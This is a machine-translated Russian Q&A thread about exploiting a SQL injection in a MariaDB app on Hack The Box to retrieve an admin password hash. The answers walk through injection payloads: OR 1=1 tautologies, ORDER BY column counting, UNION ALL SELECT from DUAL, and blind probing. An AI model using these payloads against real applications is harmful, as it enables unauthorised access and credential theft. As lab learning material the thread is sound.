MariaDb SQL-инъекция - PullRequest
       11

MariaDb SQL-инъекция

0 голосов
/ 21 февраля 2019

Я пытаюсь (на законных основаниях) использовать базу данных MariaDb с уязвимостью SQLi.

Я обнаружил уязвимость здесь ...

/?o=1&page=app

o=* уязвим и выдает следующую ошибку ...

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

Я использую Burp Suite и получил следующий синтаксис, который, кажется, ближе к отметке, новсе еще выдает синтаксическую ошибку.

Я думаю, что это ближе к отметке, потому что ошибка выплевывает только введенный мной запрос, а не дополнительное поле: '5' or dest like '1'') LIMIT 10'.

Я предполагаю, что это часть исходного запроса, так как 1 включен, и когда я тестирую с другими случайными строками, которые остаются верными.

Я получаю хэш пароля администратора, который я знаю по подсказкам на страницеis uid 1.

Чего мне не хватает в этом запросе?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

РЕДАКТИРОВАТЬ: Это делается на Hack The Box, поэтому никаких неприятных нелегальных действий не происходитна.

Ответы [ 2 ]

0 голосов
/ 21 февраля 2019

РЕДАКТИРОВАТЬ: Это делается на Hack The Box, поэтому никаких неприятных нелегальных вещей не происходит.

Хорошо, тогда давайте повеселимся.

Когда я смотрю на сообщение об ошибке

ИНФОРМАЦИЯ О ОТЛАДКЕ: у вас есть ошибка в вашем синтаксисе SQL;обратитесь к руководству, соответствующему вашей версии сервера MariaDB, чтобы узнать правильный синтаксис для использования рядом с '5' или dest, например '1'') LIMIT 10' в строке 1

Я предполагаю, что запрос и код в приложении больше илив меньшей степени, чем этот псевдо-код, @o на самом деле является пользовательской переменной MySQL.

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Я буду использовать скрипту SQL пробел для имитации теста SQL-инъекций и получения большего доступа к другим таблицам.

Вы можете проверить инъекцию с помощью 1' OR 1 = 1# или 1' OR 1 = 1--, оба должны работать и давать тот же результат, когда вы используете 1 в качестве ввода.Это связано с тем, что MariaDB automatic приводит типы для других баз данных. Возможно, вам потребуется использовать более строгую версию 1' OR '1' = '1#

, которая должна генерировать

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

или

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Тогда, поскольку вы видите ошибки в приложении, вы можете использовать ORDER BY 1, чтобы проверить, сколько столбцов выбрано, и увеличивать число, пока не получите ошибку.

Ошибка: ER_BAD_FIELD_ERROR: Неизвестный столбец '2'в' порядке заказа '

Вставить с

1' ORDER BY 1# или 1' ORDER BY 1--

Что означает сортировку по первому столбцу в наборе результатов НЕ sort 1 literal.

Генерирует

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Или

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Когда вы знаете столбцы, вы можете использовать UNION, чтобы попасть в другиестолы.Используйте NULL, если вам не нужны все столбцы.

инъекция

1' UNION ALL SELECT NULL FROM DUAL#

Обратите внимание, что DUAL является "виртуальной" несуществующей таблицей в MariaDB, MySQL и Oracle, если вы можете запросить эту "таблицу"это означает, что вы также можете технически попасть в другие таблицы.

сгенерированный SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

И если веб-страница выполнена в виде «подробной» страницы, на которой всегда видна одна запись, вам нужно добавить LIMIT 1, 1 в вашу инъекцию.

Что делать, если в веб-приложении нет ошибок, вы должны просто иметь возможность вслепую подделывать geuss с помощью слепых инъекций SQL и посмотреть, как работает приложение.Также попробуйте такие вещи, как ?o=0, ?o=NULL или очень большие числа, такие как максимальное значение INT (со знаком) ?o=2147483647 или (без знака) ?o=4294967295, прежде чем пытаться подстроить номер используемого столбца, чтобы вы знали, как приложение обрабатывает записикоторый не может быть найден.Потому что очень маловероятно иметь идентификатор 0 или эти большие числа для типа данных INT, потому что приложение перестанет работать, если будет указан последний номер.Если вы по-прежнему получаете запись с этими большими числами, используйте вместо этого максимальные значения для BIGINT datatype.

Для столбца 1 тот же идентификатор результата o=11' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Для столбцов 2, в которых произойдет ошибка, но, скорее всего, вы увидите страницу ошибки или сообщение о том, что запись не найдена.Или сладкий HTTP 404 (не найден) статус ошибки.1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Одной из проблем, которые могут возникнуть при использовании LIMIT без использования ORDER BY, может быть шанс получить те же записи, потому что стандарт SQL определил, что таблицы / результирующие наборы SQL беспорядочные без использованияORDER BY

Так что в идеале вам нужно продолжать использовать ORDER BY 1 в брутфорсах.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

И

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

Поддержка баз данных для ORDER BY 1 лучше, чем я думал на первый взгляд, поскольку она работает в MySQL, MariaDB, SQL Server (MSSQL) и PostgreSQL,

Также ORDER BY 1 была функция SQL 92, которая была удалена в SQL 99.Таким образом, на самом деле базы данных SQL не должны выполнять ORDER BY 1 больше, если они будут соответствовать стандартам SQL в этом отношении.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

против SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC
0 голосов
/ 21 февраля 2019

Некоторые наблюдения:

Таблица mysql.user не включает столбцы uid или dest

Чтобы использовать уязвимость SQL-инъекций, мы должны работать в контекстеОператор SQL, который создается динамически.

Если оператор SQL приложения имеет форму:

 SELECT somecol FROM sometable WHERE keycol = 'x' ORDER BY foo LIMIT 1

И это значение x включается в текст SQL;мы можем попытаться предоставить значения 'x', которые сформируют действительный оператор SQL.Но мы не «вырываемся» из предыдущего оператора.

Если мы пытаемся включить еще одно предложение FROM, чтобы извлечь данные из другой таблицы, мы могли бы подумать о формулировке оператора, подобного этому:

 SELECT somecol FROM sometable WHERE keycol = 'foo' AND 1=0 
 UNION ALL 
 SELECT expr FROM anothertable ORDER BY expr LIMIT 1 -- '

Возможно, существует уязвимость, состоящая из нескольких операторов, когда мы можем выполнить несколько операторов.

Но нам не нужно тратить много времени на выяснение того, какиспользовать это;Лучше потратить время и усилия на исправление приложения, чтобы закрыть уязвимость.

...